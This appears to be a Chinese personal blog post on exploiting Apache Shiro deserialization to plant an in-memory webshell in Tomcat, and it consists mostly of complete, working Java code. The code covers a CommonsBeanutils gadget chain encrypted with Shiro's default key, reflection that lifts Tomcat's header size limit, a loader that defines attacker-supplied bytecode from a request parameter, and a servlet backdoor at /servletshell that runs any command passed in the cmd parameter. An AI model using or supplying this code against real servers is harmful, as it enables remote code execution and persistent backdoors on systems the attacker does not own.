shiro内存马注入

前言

学习一下如何通过shiro反序列化注入内存马(环境部署在tomcat中)

正文

在进行内存马注入之前,还是想先利用之前学的Tomcat通用回显方法来实现shiro反序列化的回显,这里利用cb链进行反序列化

Code.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class Code extends AbstractTranslet {
    public Code(){
        try{
            //获取service属性
            WebappClassLoaderBase classLoaderBase= (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext= (StandardContext) classLoaderBase.getResources().getContext();
            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
            Field servicef=applicationContext.getClass().getDeclaredField("service");
            servicef.setAccessible(true);
            StandardService service=(StandardService) servicef.get(applicationContext);

            //获取connector
            Connector[] connectors=service.findConnectors();
            Connector connector=connectors[0];

            //获取global
            AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
            Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
            getHandler.setAccessible(true);
            Object connectionHandler=getHandler.invoke(abstractProtocol);
            Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
            RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);

            //获取request
            Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsf.setAccessible(true);
            ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
            RequestInfo requestInfo=processors.get(0);
            Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            req.setAccessible(true);
            org.apache.coyote.Request request1=(org.apache.coyote.Request) req.get(requestInfo);
            Request request2=(Request) request1.getNote(1);

            //获取response
            Response response1=request2.getResponse();
            Writer writer=response1.getWriter();
            byte[] bytes = new byte[1024];
            InputStream in = Runtime.getRuntime().exec("whoami").getInputStream();

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;

            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }
            writer.write(new String(baos.toByteArray()));
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

shiroexp.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class shiroexp {
    public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException, NotFoundException, CannotCompileException {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.get("Code");
        byte[] bytecode=cc.toBytecode();
        byte[][] bytee= new byte[][]{bytecode};
        TemplatesImpl templates=new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",bytee);
        setFieldValue(templates,"_name","Code");
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());

        BeanComparator compare=new BeanComparator();
        PriorityQueue que=new PriorityQueue(2,compare);
        que.add(1);
        que.add(1);

        setFieldValue(compare,"property","outputProperties");
        setFieldValue(compare,"comparator",String.CASE_INSENSITIVE_ORDER);
        setFieldValue(que,"queue",new Object[]{templates,templates});

        ByteArrayOutputStream ser = new ByteArrayOutputStream();
        ObjectOutputStream oser = new ObjectOutputStream(ser);
        oser.writeObject(que);
        oser.close();

        byte[] payload= ser.toByteArray();
        AesCipherService aes=new AesCipherService();
        byte[] key= Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource encodepay= aes.encrypt(payload,key);
        System.out.println(encodepay.toString());
    }

    public static void setFieldValue(Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field=obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

但是将生成的paylaod打过去后却报错了

image-20220315141045501

image-20220315141017976

看了下报错信息发现是我们的HTTP头长度过长,该怎么绕过呢

绕过Header长度限制

修改max size

org.apache.coyote.http11.AbstractHttp11Protocol中,使用maxHeadersize规定了HTTP头的最大长度,只要我们通过反射修改其值,或许就可以绕过长度限制。开始编写poc

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;

public class Codea extends AbstractTranslet {
    static{
        try{
            StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            Field servicef=org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            servicef.setAccessible(true);
            StandardService service=(StandardService) servicef.get(((ApplicationContext) context.get(standardContext)));
            //获取connector
            Connector connector=(service.findConnectors())[0];
            //获取global
            ProtocolHandler abstractProtocol=  connector.getProtocolHandler();
            Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
            getHandler.setAccessible(true);
            Object connectionHandler=getHandler.invoke(abstractProtocol);
            RequestGroupInfo global= (RequestGroupInfo) Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal").invoke(connectionHandler);
            //获取request,修改header max size
            Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsf.setAccessible(true);
            ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
            Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            req.setAccessible(true);
            Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
            headerSizeField.setAccessible(true);
            for(int i=0;i<processors.size();i++){
                headerSizeField.set(((org.apache.coyote.Request) req.get(processors.get(i))).getInputBuffer(),10000);
            }
            ((org.apache.coyote.http11.AbstractHttp11Protocol) abstractProtocol).setMaxHttpHeaderSize(10000);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后对其进行序列化

image-20220315164030144

可以看到长度是7512,tomcat默认header最大长度设置为8192,如果直接抓包打过去的话还是会超长。所以我们还可以去掉不必要的http头,这里我去掉了Accept-Encoding | Referer | Upgrade-Insecure-Requests

image-20220315164334111

回显正常,然后再将执行whoami的payload打过去

image-20220315164416706

可以看到,成功执行并获取回显

自定义ClassLoader

我们还可以自定义一个ClassLoader,然后将我们的字节码放在请求体中,反序列化时去调用这个ClassLoader对请求体中的字节码进行加载

自定义ClassLoader像这样

public static class TestClassLoader extends ClassLoader{
        public Class x(byte[] bytes){
            return super.defineClass(null,bytes,0,bytes.length);
        }
}

那么我们就能构造出如下POC

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;

public class TestCL extends AbstractTranslet {
    public static class TestClassLoader extends ClassLoader{
        public Class x(byte[] bytes){
            return super.defineClass(null,bytes,0,bytes.length);
        }
    }

    static  {
        try{
            StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            Field servicef=org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
            servicef.setAccessible(true);
            StandardService service=(StandardService) servicef.get(((ApplicationContext) context.get(standardContext)));
            //获取connector
            Connector connector=(service.findConnectors())[0];
            //获取global
            ProtocolHandler abstractProtocol=  connector.getProtocolHandler();
            Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
            getHandler.setAccessible(true);
            Object connectionHandler=getHandler.invoke(abstractProtocol);
            RequestGroupInfo global= (RequestGroupInfo) Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal").invoke(connectionHandler);


            //获取request
            Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsf.setAccessible(true);
            RequestInfo requestInfo=((ArrayList<RequestInfo>) processorsf.get(global)).get(0);
            Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            req.setAccessible(true);
            Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1);
            //加载
            request2.getResponse().getWriter().write(request2.getParameter("code"));
            Class x=new TestClassLoader().x(Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8)));
            x.newInstance();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

但是在使用javassit获取TestCL的字节码的时候我发现,实际上TestCL的字节码和内部类的字节码是分开的,也就是我们并没有获取到TestClassLoader的字节码,在编译生成的文件夹中也可以看到

image-20220316155403192

不过怎样实现使用TemplatesImpl加载两个类的字节码就是我的知识盲区了,所以还是换一种方法,通过反射调用defineClass方法去加载类,稍微改一下就行

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.Request;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.Base64;

public class TestCL extends AbstractTranslet {
    static  {
        try{
            //获取service属性
            StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();
            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);
            Field servicef=applicationContext.getClass().getDeclaredField("service");
            servicef.setAccessible(true);
            StandardService service=(StandardService) servicef.get(applicationContext);

            //获取connector
            Connector[] connectors=service.findConnectors();
            Connector connector=connectors[0];

            //获取global
            AbstractProtocol abstractProtocol= (AbstractProtocol) connector.getProtocolHandler();
            Method getHandler=Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
            getHandler.setAccessible(true);
            Object connectionHandler=getHandler.invoke(abstractProtocol);
            Method getGlobal=Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredMethod("getGlobal");
            RequestGroupInfo global= (RequestGroupInfo) getGlobal.invoke(connectionHandler);

            //获取request
            Field processorsf=Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
            processorsf.setAccessible(true);
            ArrayList<RequestInfo> processors= (ArrayList<RequestInfo>) processorsf.get(global);
            RequestInfo requestInfo=processors.get(0);
            Field req=Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
            req.setAccessible(true);
            Request request2=(Request) ((org.apache.coyote.Request) req.get(requestInfo)).getNote(1);
            byte[] bytes=Base64.getDecoder().decode(request2.getParameter("code").getBytes(StandardCharsets.UTF_8));
            Method defineClass=Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            defineClass.setAccessible(true);
            Class x= (Class) defineClass.invoke(TestCL.class.getClassLoader(),bytes,0,bytes.length);
            x.newInstance();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        }  catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

然后写一个类测试一下

import java.io.IOException;

public class test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

获取其字节码并base64编码,然后配合poc试一下

image-20220316162715722

成功加载

内存马注入

这里演示注入一个servlet内存马,使用Thread.currentThread().getContextClassLoader()来获取context,进而进行注入,简单写一下POC

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.core.StandardWrapper;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.mapper.Mapper;

import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.Writer;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.concurrent.ConcurrentHashMap;

public class shiroServlet extends HttpServlet {
    static {
        try {
            //获取context
            StandardContext standardContext= (StandardContext) ((WebappClassLoaderBase) Thread.currentThread().getContextClassLoader()).getResources().getContext();

            Field context=Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext applicationContext= (ApplicationContext) context.get(standardContext);

            //创建自定义wrapper
            shiroServlet shell=new shiroServlet();
            StandardWrapper shellWrapper=(StandardWrapper) standardContext.createWrapper();
            shellWrapper.setServlet(shell);
            shellWrapper.setServletClass(shell.getClass().getName());
            shellWrapper.setParent(standardContext);

            //获取service属性
            Field servicef=applicationContext.getClass().getDeclaredField("service");
            servicef.setAccessible(true);
            StandardService service=(StandardService) servicef.get(applicationContext);

            //获取mapper
            Mapper mapper=service.getMapper();

            //获取contextVersion
            Field contextObjectToContextVersionMapf=mapper.getClass().getDeclaredField("contextObjectToContextVersionMap");
            contextObjectToContextVersionMapf.setAccessible(true);
            ConcurrentHashMap contextObjectToContextVersionMap=(ConcurrentHashMap) contextObjectToContextVersionMapf.get(mapper);
            Object contextVersion=contextObjectToContextVersionMap.get(standardContext);

            //调用addWrapper方法
            Class[] classes=mapper.getClass().getDeclaredClasses();
            Class classt=classes[1];
            Method addWrapper=mapper.getClass().getDeclaredMethod("addWrapper", classt, String.class, Wrapper.class, boolean.class, boolean.class);
            addWrapper.setAccessible(true);
            addWrapper.invoke(mapper,contextVersion,"/servletshell",shellWrapper,false,false);
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        }
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String cmd=req.getParameter("cmd");
        if(cmd!=null){
            InputStream in = Runtime.getRuntime().exec("cmd /c "+cmd).getInputStream();

            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int a = -1;

            while ((a = in.read(b)) != -1) {
                baos.write(b, 0, a);
            }
            Writer writer=resp.getWriter();
            writer.write(new String(baos.toByteArray()));
            writer.flush();
        }
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

结合上面说的绕过header长度限制的方法进行注入

image-20220316165009468

image-20220316165025209

注入成功

本文链接:

http://novic4.cn/index.php/archives/13.html
1 + 7 =
快来做第一个评论的人吧~